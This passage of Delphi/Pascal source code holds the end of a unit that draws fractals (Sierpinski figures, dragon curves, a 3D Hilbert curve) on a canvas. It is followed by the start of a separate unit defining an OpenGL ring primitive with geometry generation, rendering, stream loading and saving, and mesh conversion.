begin
{gfColor:=4; }
x_angle := -55;
y_angle := 90;
z_angle := 0;
if level < 0 then level := 0
else if level > 3 then level := 3;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor; {Brush.Color:=TempColor; }
Font.Color := TempColor;
MainForm.Show;
sx := Sin(x_angle * 0.017453292);
sy := Sin(y_angle * 0.017453292);
sz := Sin(z_angle * 0.017453292);
cx := Cos(x_angle * 0.017453292);
cy := Cos(y_angle * 0.017453292);
cz := Cos(z_angle * 0.017453292);
temp := 2;
i := level;
while i > 1 do
begin
temp := temp * 2;
dec(i);
end;
r := 300 / temp;
points[0] := -200;
points[1] := 50;
points[2] := 0;
generate(3, -2, 1);
TextOut(10, 10, 'Hilbert 3D' + ' Level: ' + IStringer(Level));
end; end else
begin
for lc := 1 to 2 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor; {Brush.Color:=TempColor;}
Font.Color := TempColor;
MainForm.Show;
sx := Sin(x_angle * 0.017453292);
sy := Sin(y_angle * 0.017453292);
sz := Sin(z_angle * 0.017453292);
cx := Cos(x_angle * 0.017453292);
cy := Cos(y_angle * 0.017453292);
cz := Cos(z_angle * 0.017453292);
temp := 2;
i := level;
while i > 1 do
begin
temp := temp * 2;
dec(i);
end;
r := 300 / temp;
points[0] := -200;
points[1] := 50;
points[2] := 0;
generate(3, -2, 1);
TextOut(10, 10, 'Hilbert 3D' + ' Level: ' +
IStringer(Level));
{inc(GFColor);}
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Procedure }
procedure sierp(level: integer); { of 8 }
var
TempColor: TColor; maxcolx, maxrowy, {[gfColor, ]}
lc, generator_size: integer;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer; sign: integer);
var
j, k, int_sign: integer;
Xpoints, Ypoints: array[0..24] of Extended;
begin
turtle_r := sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)) /
2.0;
turtle_x := X1;
turtle_y := Y1;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[3] := X2;
Ypoints[3] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turn(60 * sign);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
turn(-60 * sign);
step;
Xpoints[2] := turtle_x;
Ypoints[2] := turtle_y;
dec(level);
sign := -sign;
if level = 0 then
begin
for k := 0 to generator_size - 1 do
begin
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end
else
begin
int_sign := sign;
for j := 0 to generator_size - 1 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level, int_sign);
int_sign := -int_sign;
end;
end;
end;
begin
generator_size := 3;
{GfColor:=4; }
if level < 0 then level := 0
else if level > 8 then level := 8;
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor; {Brush.Color:=TempColor;}
Font.Color := TempColor;
TextOut(10, 10, 'Sierpinski' + ' Level: ' + IStringer(Level));
MainForm.Show;
generate(-150, -50, 150, -50, level, 1);
{ -50 was 0, 150 was 130 }
end; end else
begin
for lc := 1 to 4 do
begin
level := lc;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor; {Brush.Color:=TempColor;}
Font.Color := TempColor;
TextOut(10, 10, 'Sierpinski' + ' Level: ' +
IStringer(Level));
MainForm.Show;
generate(-150, -50, 150, -50, level, 1); { 50 was 0 }
{inc(GFColor); }
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end; end;
end;
end; { of Sierp }
procedure siergask(level: integer); {fast enough at all 5 levels }
var
TempColor: TColor; maxcolx, maxrowy, {gfcolor, }
lc, L_length, x1, y1, x2, y2, x3, y3: integer;
Triangle: array[1..3] of TPoint;
procedure node(x1: integer; y1: integer; x2: integer; y2: integer;
x3: integer; y3: integer; x4: integer; y4: integer;
x5: integer; y5: integer; x6: integer; y6: integer;
level: integer; l_length: integer); forward;
procedure generate(x1: integer; y1: integer; x2: integer; y2:
integer;
x3: integer; y3: integer; level: integer; l_length: integer);
var
line_length, x4, y4, x5, y5, x6, y6: integer;
begin
line_length := l_length div 2;
x4 := x1 + line_length;
y4 := y1;
x5 := x1 + line_length div 2;
{???} y5 := y1 - Round((line_length / 2) * 1.26292);
x6 := x5 + line_length;
y6 := y5;
node(x1, y1, x2, y2, x3, y3, x4, y4, x5, y5, x6, y6, level,
line_length);
end;
procedure node(x1: integer; y1: integer; x2: integer; y2: integer;
x3: integer; y3: integer; x4: integer; y4: integer;
x5: integer; y5: integer; x6: integer; y6: integer;
level: integer; l_length: integer);
begin
Triangle[1].x := x4;
Triangle[1].y := y4;
Triangle[2].x := x5;
Triangle[2].y := y5;
Triangle[3].x := x6;
Triangle[3].y := y6;
MainForm.Image2.Canvas.Polygon(Triangle);
if level <> 0 then
begin
generate(x1, y1, x4, y4, x5, y5, level - 1, l_length);
generate(x4, y4, x2, y2, x6, y6, level - 1, l_length);
generate(x5, y5, x6, y6, x3, y3, level - 1, l_length);
end;
end;
begin
if level < 0 then level := 0
else if level > 5 then level := 5;
{GfColor:=4; }
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 10, 'Sier Gasket' + ' Level: ' + IStringer(Level));
MainForm.Show;
{Brush.Color:=TempColor;}
x1 := 64; {64;}
y1 := 385; {335}
x2 := 576; {576;}
y2 := 385; {335}
x3 := 320;
y3 := 65; {15}
l_length := 512; {512;}
{ SetFillStyle(1,4);}
Triangle[1].x := x1;
Triangle[1].y := y1;
Triangle[2].x := x2;
Triangle[2].y := y2;
Triangle[3].x := x3;
Triangle[3].y := y3;
MainForm.Image2.Canvas.Polygon(Triangle);
{ SetFillStyle(1,3);
SetBkColor(1);
SetColor(GfColor);}
generate(x1, y1, x2, y2, x3, y3, level, l_length);
end; end else
begin
for lc := 1 to 4 do
begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
Textout(10, 10, 'Sier Gasket' + ' Level: ' +
IStringer(Level));
MainForm.Show;
{inc(GFColor); }
level := lc;
x1 := 64; {64;}
y1 := 385;
x2 := 576; {576;}
y2 := 385;
x3 := 320;
y3 := 65;
l_length := 512; {512;}
{ SetFillStyle(1,4);}
Triangle[1].x := x1;
Triangle[1].y := y1;
Triangle[2].x := x2;
Triangle[2].y := y2;
Triangle[3].x := x3;
Triangle[3].y := y3;
MainForm.Image2.Canvas.Polygon(Triangle);
{ SetFillStyle(1,3);
SetBkColor(1);
SetColor(GfColor);}
generate(x1, y1, x2, y2, x3, y3, level, l_length);
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of Siergask }
procedure sierbox(level: integer); { of 3 }
{const}
var
Square: array[1..4] of TPoint;
var
TempColor: TColor;
{maxcolx,maxrowy,gfcolor,} lc, L_length,
x1, y1, x2, y2: integer;
procedure node(x1: integer; y1: integer; x2: integer; y2: integer;
x3: integer; y3: integer; x4: integer; y4: integer;
level: integer; l_length: integer); forward;
procedure generate(x1: integer; y1: integer; x2: integer; y2:
integer;
level: integer; l_length: integer);
var
line_length, x3, y3, x4, y4: integer;
begin {35/49=.729...}
line_length := l_length div 3;
x3 := x1 + line_length;
y3 := y1 - (35 * line_length) div 48;
x4 := x2 - line_length;
y4 := y2 + (35 * line_length) div 48;
node(x1, y1, x2, y2, x3, y3, x4, y4, level, line_length);
end;
procedure node(x1: integer; y1: integer; x2: integer; y2: integer;
x3: integer; y3: integer; x4: integer; y4: integer;
level: integer; l_length: integer);
begin
Square[1].x := x3;
Square[1].y := y3;
Square[2].x := x4;
Square[2].y := y3;
Square[3].x := x4;
Square[3].y := y4;
Square[4].x := x3;
Square[4].y := y4;
MainForm.Image2.Canvas.Polygon(Square);
if level <> 0 then
begin
generate(x1, y1, x3, y3, level - 1, l_length);
generate(x3, y1, x4, y3, level - 1, l_length);
generate(x4, y1, x2, y3, level - 1, l_length);
generate(x1, y3, x3, y4, level - 1, l_length);
generate(x4, y3, x2, y4, level - 1, l_length);
generate(x1, y4, x3, y2, level - 1, l_length);
generate(x3, y4, x4, y2, level - 1, l_length);
generate(x4, y4, x2, y2, level - 1, l_length);
end;
end;
begin
if level < 0 then level := 0
else if level > 3 then level := 3;
{GfColor:=4; }
{pcxVGASetup; }
if Level > 0 then
begin
with MainForm.Image2.Canvas do begin
{ maxcolx :=(FYImageX-1);
maxrowy := (FYImageY-1); }
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, FYImageX, FYImageY));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 470, 'Sierpinski Box' + ' Level: ' +
IStringer(Level));
Brush.Color := TempColor;
MainForm.Show;
x1 := 100; {100;}
y1 := 335; {335}
x2 := 540; {540;}
y2 := 15; {15}
l_length := 440; {440;}
{ SetFillStyle(1,15);}
Square[1].x := x1;
Square[1].y := y1;
Square[2].x := x2;
Square[2].y := y1;
Square[3].x := x2;
Square[3].y := y2;
Square[4].x := x1;
Square[4].y := y2;
MainForm.Image2.Canvas.Polygon(Square);
{ SetFillStyle(1,4); }{1,0}
{ SetColor(GfColor);
SetBkColor(1);}
generate(x1, y1, x2, y2, level, l_length);
end; end else begin
for lc := 1 to 3 do begin
with MainForm.Image2.Canvas do begin
{ maxcolx :=(FYImageX-1);
maxrowy := (FYImageY-1);}
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, FYImageX, FYImageY));
TempColor := RGB(RGBArray[0, Level],
RGBArray[1, Level], RGBArray[2, Level]);
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(10, 470, 'Sierpinski Box' + ' Level: ' +
IStringer(Level));
Brush.Color := TempColor;
MainForm.Show;
level := lc;
x1 := 100; {100;}
y1 := 335; {335}
x2 := 540; {540;}
y2 := 15; {15}
l_length := 440; {440;}
{ SetFillStyle(1,15);}
Square[1].x := x1;
Square[1].y := y1;
Square[2].x := x2;
Square[2].y := y1;
Square[3].x := x2;
Square[3].y := y2;
Square[4].x := x1;
Square[4].y := y2;
MainForm.Image2.Canvas.Polygon(Square);
{ SetFillStyle(1,12);
SetColor(GfColor);}
generate(x1, y1, x2, y2, level, l_length);
{inc(GFColor);}
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end; end;
end;
end; { of Sier Box }
procedure Dragon_Curve(level: integer);
var
XAxis, YAxis: array[1..4098] of integer;
TempColor: TColor; maxcolx, maxrowy, Step, Sign: integer;
procedure Generate_Dragon(color: integer);
var
i, j, dx, dy: integer;
begin
j := Step div 2;
{ setcolor( color );]}
i := 1;
repeat
dx := xaxis[Step + i] - xaxis[i];
dy := yaxis[Step + i] - yaxis[i];
Sign := Sign * -1; { omit for Arabesque }
xaxis[i + j] := xaxis[i] + (dx + (dy * sign)) div 2;
yaxis[i + j] := yaxis[i] + (dy - (dx * sign)) div 2;
{ if color <> 0 then}
begin
MainForm.Image2.Canvas.Moveto(xaxis[i], yaxis[i]);
MainForm.Image2.Canvas.Lineto(xaxis[i + j], yaxis[i + j]);
MainForm.Image2.Canvas.Moveto(xaxis[i + j], yaxis[i + j]);
MainForm.Image2.Canvas.Lineto(xaxis[i + Step], yaxis[i +
Step]);
end;
inc(i, Step);
until i >= 4096;
end;
var {Change to getting the Image X Y}
{ GetMaxX,GetMaxY,} i: integer;
begin
Step := 4096;
sign := -1;
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
xaxis[1] := maxcolx div 4;
xaxis[4097] := 3 * maxcolx div 4; {480} { 3 * 160 = 480 }
yaxis[1] := 3 * maxrowy div 4; {360} { 2 * 160 = 320 }
yaxis[4097] := yaxis[1];
if Level > 0 then begin
with MainForm.Image2.Canvas do begin
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(255 - GetRValue(FBackGroundColor),
255 - GetGValue(FBackGroundColor),
255 - GetBValue(FBackGroundColor));
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(1, 10, 'Fractal Dragon Curve' + ' Level: ' +
IStringer(Level));
MainForm.Show;
Moveto(xaxis[1], yaxis[1]);
Lineto(xaxis[4097], yaxis[4097]);
Generate_Dragon(Level);
end; end else begin
with MainForm.Image2.Canvas do begin
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(255 - GetRValue(FBackGroundColor),
255 - GetGValue(FBackGroundColor),
255 - GetBValue(FBackGroundColor));
Pen.Color := TempColor;
Font.Color := TempColor;
MainForm.Show;
Moveto(xaxis[1], yaxis[1]);
Lineto(xaxis[4097], yaxis[4097]);
for i := 3 to 14 do
begin
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(255 - GetRValue(FBackGroundColor),
255 - GetGValue(FBackGroundColor),
255 - GetBValue(FBackGroundColor));
Pen.Color := TempColor;
Font.Color := TempColor;
Level := i;
TextOut(1, 10, 'Fractal Dragon Curve' + ' Level: ' +
IStringer(Level));
Generate_Dragon(i);
Step := Step div 2;
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end; end;
end; { of procedure Dragon_Curve }
procedure twindrag(level: integer); {231.18 seconds}
var
TempColor: TColor; maxcolx, maxrowy, DOIT,
I, generator_size, init_size: integer;
initiator_x1, initiator_x2,
initiator_y1, initiator_y2: array[0..9] of Extended;
sign: Extended;
procedure generate(X1: Extended; Y1: Extended; X2: Extended; Y2:
Extended;
level: integer; sign: Extended);
var
j, k: integer;
sign2: Extended;
Xpoints, Ypoints: array[0..24] of Extended;
begin
sign2 := -1;
turtle_r := (sqrt((X2 - X1) * (X2 - X1) + (Y2 - Y1) * (Y2 - Y1)))
/ 1.41421;
Xpoints[0] := X1;
Ypoints[0] := Y1;
Xpoints[2] := X2;
Ypoints[2] := Y2;
turtle_theta := point(X1, Y1, X2, Y2);
turtle_x := X1;
turtle_y := Y1;
turn(sign * 45);
step;
Xpoints[1] := turtle_x;
Ypoints[1] := turtle_y;
dec(level);
if level > 0 then
begin
for j := 0 to generator_size - 2 do
begin
X1 := Xpoints[j];
X2 := Xpoints[j + 1];
Y1 := Ypoints[j];
Y2 := Ypoints[j + 1];
generate(X1, Y1, X2, Y2, level, sign2);
sign2 := -sign2;
end;
end
else
begin
for k := 0 to generator_size - 2 do
begin {y[]*0.729}
MainForm.Image2.Canvas.Moveto(Round(Xpoints[k] + 320),
Round(240 - Ypoints[k]));
MainForm.Image2.Canvas.Lineto(Round(Xpoints[k + 1] + 320),
Round(240 - Ypoints[k + 1]));
end;
end;
end;
begin
initiator_x1[0] := -150;
initiator_x1[1] := 150;
initiator_x2[0] := 150;
initiator_x2[1] := -150;
sign := 1;
generator_size := 3;
init_size := 2;
initiator_y1[0] := -25;
initiator_y1[1] := -25;
initiator_y2[0] := -25;
initiator_y2[1] := -25;
{ level := 6;
REWRITE for LEVELS see others for loop}
if Level > 0 then begin
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(255 - GetRValue(Level * 4),
255 - GetGValue(Level * 4),
255 - GetBValue(Level * 4));
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(320, 10, 'Twin Dragon' + ' Level: ' +
IStringer(Level));
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, sign);
TempColor := RGB(155 - GetRValue(Level * 4),
155 - GetGValue(Level * 4),
155 - GetBValue(Level * 4));
Pen.Color := TempColor;
end;
end; end else
for DOIT := 1 to 6 do
begin
Level := Doit;
with MainForm.Image2.Canvas do begin
maxcolx := (FYImageX - 1);
maxrowy := (FYImageY - 1);
Brush.Color := FBackGroundColor;
Brush.Style := bsSolid;
FillRect(Rect(0, 0, maxcolx, maxrowy));
TempColor := RGB(255 - GetRValue(Level * 4),
255 - GetGValue(Level * 4),
255 - GetBValue(Level * 4));
Pen.Color := TempColor;
Font.Color := TempColor;
TextOut(320, 10, 'Twin Dragon' + ' Level: ' +
IStringer(Level));
MainForm.Show;
for i := 0 to init_size - 1 do
begin
generate(initiator_x1[i], initiator_y1[i], initiator_x2[i],
initiator_y2[i], level, sign);
TempColor := RGB(155 - GetRValue(Level * 4),
155 - GetGValue(Level * 4),
155 - GetBValue(Level * 4));
Pen.Color := TempColor;
end;
bRotateImage := False; {in the Drawing...}
bRotatingImage := True;
repeat Application.ProcessMessages until (bRotateImage =
True);
end;
end;
end; { TWINDRAG }
end.
|
unit GLDRing;
interface
uses
Classes, GL, GLDTypes, GLDConst, GLDClasses, GLDObjects;
type
TGLDRing = class(TGLDEditableObject)
private
FInnerRadius: GLfloat;
FOuterRadius: GLfloat;
FSegments: GLushort;
FSides: GLushort;
FStartAngle: GLfloat;
FSweepAngle: GLfloat;
FPoints: PGLDVector3fArray;
FNormals: PGLDVector3fArray;
{$HINTS OFF}
function GetMode: GLubyte;
function GetPoint(i, j: GLushort): PGLDVector3f;
function GetNormal(i, j: GLushort): PGLDVector3f;
{$HINTS ON}
procedure SetInnerRadius(Value: GLfloat);
procedure SetOuterRadius(Value: GLfloat);
procedure SetSegments(Value: GLushort);
procedure SetSides(Value: GLushort);
procedure SetStartAngle(Value: GLfloat);
procedure SetSweepAngle(Value: GLfloat);
function GetParams: TGLDRingParams;
procedure SetParams(Value: TGLDRingParams);
protected
procedure CalcBoundingBox; override;
procedure CreateGeometry; override;
procedure DestroyGeometry; override;
procedure DoRender; override;
procedure SimpleRender; override;
public
constructor Create(AOwner: TPersistent); override;
destructor Destroy; override;
procedure Assign(Source: TPersistent); override;
class function SysClassType: TGLDSysClassType; override;
class function VisualObjectClassType: TGLDVisualObjectClass; override;
class function RealName: string; override;
procedure LoadFromStream(Stream: TStream); override;
procedure SaveToStream(Stream: TStream); override;
function CanConvertTo(_ClassType: TClass): GLboolean; override;
function ConvertTo(Dest: TPersistent): GLboolean; override;
function ConvertToTriMesh(Dest: TPersistent): GLboolean;
function ConvertToQuadMesh(Dest: TPersistent): GLboolean;
function ConvertToPolyMesh(Dest: TPersistent): GLboolean;
property Params: TGLDRingParams read GetParams write SetParams;
published
property InnerRadius: GLfloat read FInnerRadius write SetInnerRadius;
property OuterRadius: GLfloat read FOuterRadius write SetOuterRadius;
property Segments: GLushort read FSegments write SetSegments default GLD_RING_SEGMENTS_DEFAULT;
property Sides: GLushort read FSides write SetSides default GLD_RING_SIDES_DEFAULT;
property StartAngle: GLfloat read FStartAngle write SetStartAngle;
property SweepAngle: GLfloat read FSweepAngle write SetSweepAngle;
end;
implementation
uses
SysUtils, GLDGizmos, GLDX, GLDMesh, GLDUtils;
var
vRingCounter: GLuint = 0;
constructor TGLDRing.Create(AOwner: TPersistent);
begin
inherited Create(AOwner);
Inc(vRingCounter);
FName := GLD_RING_STR + IntToStr(vRingCounter);
FInnerRadius := GLD_STD_RINGPARAMS.InnerRadius;
FOuterRadius := GLD_STD_RINGPARAMS.OuterRadius;
FSegments := GLD_STD_RINGPARAMS.Segments;
FSides := GLD_STD_RINGPARAMS.Sides;
FStartAngle := GLD_STD_RINGPARAMS.StartAngle;
FSweepAngle := GLD_STD_RINGPARAMS.SweepAngle;
FPosition.Vector3f := GLD_STD_RINGPARAMS.Position;
FRotation.Params := GLD_STD_RINGPARAMS.Rotation;
CreateGeometry;
end;
destructor TGLDRing.Destroy;
begin
inherited Destroy;
end;
procedure TGLDRing.Assign(Source: TPersistent);
begin
if (Source = nil) or (Source = Self) then Exit;
if not (Source is TGLDRing) then Exit;
inherited Assign(Source);
SetParams(TGLDRing(Source).GetParams);
end;
procedure TGLDRing.DoRender;
var
iSegs, iP: GLushort;
begin
for iSegs := 0 to FSegments - 1 do
begin
glBegin(GL_QUAD_STRIP);
for iP := 2 to FSides + 2 do
begin
glNormal3fv(@FNormals^[iSegs * (FSides + 3) + iP]);
glVertex3fv(@FPoints^[iSegs * (FSides + 3) + iP]);
glNormal3fv(@FNormals^[(iSegs + 1) * (FSides + 3) + iP]);
glVertex3fv(@FPoints^[(iSegs + 1) * (FSides + 3) + iP]);
end;
glEnd;
end;
end;
procedure TGLDRing.SimpleRender;
var
iSegs, iP: GLushort;
begin
for iSegs := 0 to FSegments - 1 do
begin
glBegin(GL_QUAD_STRIP);
for iP := 2 to FSides + 2 do
begin
glVertex3fv(@FPoints^[iSegs * (FSides + 3) + iP]);
glVertex3fv(@FPoints^[(iSegs + 1) * (FSides + 3) + iP]);
end;
glEnd;
end;
end;
procedure TGLDRing.CalcBoundingBox;
begin
FBoundingBox := GLDXCalcBoundingBox(FPoints, (FSegments + 1) * (FSides + 1));
end;
procedure TGLDRing.CreateGeometry;
var
iSegs, iP: GLushort;
A, R: GLfloat;
begin
if FSegments > 1000 then FSegments := 1000 else
if FSegments < 1 then FSegments := 1;
if FSides > 1000 then FSides := 1000 else
if FSides < 1 then FSides := 1;
ReallocMem(FPoints, (FSegments + 1) * (FSides + 3) * SizeOf(TGLDVector3f));
ReallocMem(FNormals, (FSegments + 1) * (FSides + 3) * SizeOf(TGLDVector3f));
A := GLDXGetAngleStep(FStartAngle, FSweepAngle, FSides);
R := (FOuterRadius - FInnerRadius) / FSegments;
for iSegs := 0 to FSegments do
for iP := 1 to FSides + 3 do
begin
FPoints^[iSegs * (FSides + 3) + iP] := GLDXVector3f(
GLDXCoSinus(FStartAngle + (iP - 2) * A) * (FInnerRadius + (iSegs * R)),
0,
-GLDXSinus(FStartAngle + (iP - 2) * A) * (FInnerRadius + (iSegs * R)));
end;
FModifyList.ModifyPoints(
[GLDXVector3fArrayData(FPoints, (FSides + 3) * (FSegments + 1))]);
GLDXCalcQuadPatchNormals(GLDXQuadPatchData3f(
GLDXVector3fArrayData(FPoints, (FSegments + 1) * (FSides + 3)),
GLDXVector3fArrayData(FNormals, (FSegments + 1) * (FSides + 3)),
FSegments, FSides + 2));
CalcBoundingBox;
end;
procedure TGLDRing.DestroyGeometry;
begin
if FPoints <> nil then ReallocMem(FPoints, 0); FPoints := nil;
if FNormals <> nil then ReallocMem(FNormals, 0); FNormals := nil;
end;
class function TGLDRing.SysClassType: TGLDSysClassType;
begin
Result := GLD_SYSCLASS_RING;
end;
class function TGLDRing.VisualObjectClassType: TGLDVisualObjectClass;
begin
Result := TGLDRing;
end;
class function TGLDRing.RealName: string;
begin
Result := GLD_RING_STR;
end;
procedure TGLDRing.LoadFromStream(Stream: TStream);
begin
inherited LoadFromStream(Stream);
Stream.Read(FInnerRadius, SizeOf(GLfloat));
Stream.Read(FOuterRadius, SizeOf(GLfloat));
Stream.Read(FSegments, SizeOf(GLushort));
Stream.Read(FSides, SizeOf(GLushort));
Stream.Read(FStartAngle, SizeOf(GLfloat));
Stream.Read(FSweepAngle, SizeOf(GLfloat));
CreateGeometry;
end;
procedure TGLDRing.SaveToStream(Stream: TStream);
begin
inherited SaveToStream(Stream);
Stream.Write(FInnerRadius, SizeOf(GLfloat));
Stream.Write(FOuterRadius, SizeOf(GLfloat));
Stream.Write(FSegments, SizeOf(GLushort));
Stream.Write(FSides, SizeOf(GLushort));
Stream.Write(FStartAngle, SizeOf(GLfloat));
Stream.Write(FSweepAngle, SizeOf(GLfloat));
end;
function TGLDRing.CanConvertTo(_ClassType: TClass): GLboolean;
begin
Result := (_ClassType = TGLDRing) or
(_ClassType = TGLDTriMesh) or
(_ClassType = TGLDQuadMesh) or
(_ClassType = TGLDPolyMesh);
end;
function TGLDRing.ConvertTo(Dest: TPersistent): GLboolean;
begin
Result := False;
if not Assigned(Dest) then Exit;
if Dest.ClassType = Self.ClassType then
begin
Dest.Assign(Self);
Result := True;
end else
if Dest is TGLDTriMesh then
Result := ConvertToTriMesh(Dest) else
if Dest is TGLDQuadMesh then
Result := ConvertToQuadMesh(Dest) else
if Dest is TGLDPolyMesh then
Result := ConvertToPolyMesh(Dest);
end;
{$WARNINGS OFF}
function TGLDRing.ConvertToTriMesh(Dest: TPersistent): GLboolean;
var
M: GLubyte;
i, j: GLushort;
F: TGLDTriFace;
begin
Result := False;
if not Assigned(Dest) then Exit;
if not (Dest is TGLDTriMesh) then Exit;
M := GetMode;
with TGLDTriMesh(Dest) do
begin
DeleteVertices;
F.Smoothing := GLD_SMOOTH_ALL;
if M = 0 then
begin
VertexCapacity := 1 + FSegments * FSides;
AddVertex(GetPoint(1, 1)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
AddVertex(GetPoint(i + 1, j)^, True);
for j := 1 to FSides do
begin
F.Point1 := 1;
F.Point2 := 1 + j;
if j = FSides then
F.Point3 := 1 + 1
else F.Point3 := 1 + j + 1;
AddFace(F);
end;
if FSegments > 1 then
for i := 1 to FSegments - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * FSides + j;
F.Point2 := 1 + i * FSides + j;
if j = FSides then
F.Point3 := 1 + (i - 1) * FSides + 1
else F.Point3 := 1 + (i - 1) * FSides + j + 1;
AddFace(F);
F.Point2 := 1 + i * FSides + j;
if j = FSides then
begin
F.Point1 := 1 + (i - 1) * FSides + 1;
F.Point3 := 1 + i * FSides + 1;
end else
begin
F.Point1 := 1 + (i - 1) * FSides + j + 1;
F.Point3 := 1 + i * FSides + j + 1;
end;
AddFace(F);
end;
end else //M = 0
if M = 1 then
begin
VertexCapacity := (FSegments + 1) * FSides;
for i := 1 to FSegments + 1 do
for j := 1 to FSides do
AddVertex(GetPoint(i, j)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
begin
F.Point1 := (i - 1) * FSides + j;
F.Point2 := i * FSides + j;
if j = FSides then
F.Point3 := (i - 1) * FSides + 1
else F.Point3 := (i - 1) * FSides + j + 1;
AddFace(F);
F.Point2 := i * FSides + j;
if j = FSides then
begin
F.Point1 := (i - 1) * FSides + 1;
F.Point3 := i * FSides + 1;
end else
begin
F.Point1 := (i - 1) * FSides + j + 1;
F.Point3 := i * FSides + j + 1;
end;
AddFace(F);
end;
end else //M = 1
if M = 2 then
begin
VertexCapacity := 1 + FSegments * (FSides + 1);
AddVertex(GetPoint(1, 1)^, True);
for i := 1 to FSegments do
for j := 1 to FSides + 1 do
AddVertex(GetPoint(i + 1, j)^, True);
for j := 1 to FSides do
begin
F.Point1 := 1;
F.Point2 := 1 + j;
F.Point3 := 1 + j + 1;
AddFace(F);
end;
if FSegments > 1 then
for i := 1 to FSegments - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
F.Point1 := 1 + (i - 1) * (FSides + 1) + j + 1;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + i * (FSides + 1) + j + 1;
AddFace(F);
end;
end else //M = 2
if M = 3 then
begin
VertexCapacity := (FSegments + 1) * (FSides + 1);
for i := 1 to FSegments + 1 do
for j := 1 to FSides + 1 do
AddVertex(GetPoint(i, j)^, True);
for i := 1 to FSegments do
for j := 1 to FSides do
begin
F.Point1 := (i - 1) * (FSides + 1) + j;
F.Point2 := i * (FSides + 1) + j;
F.Point3 := (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
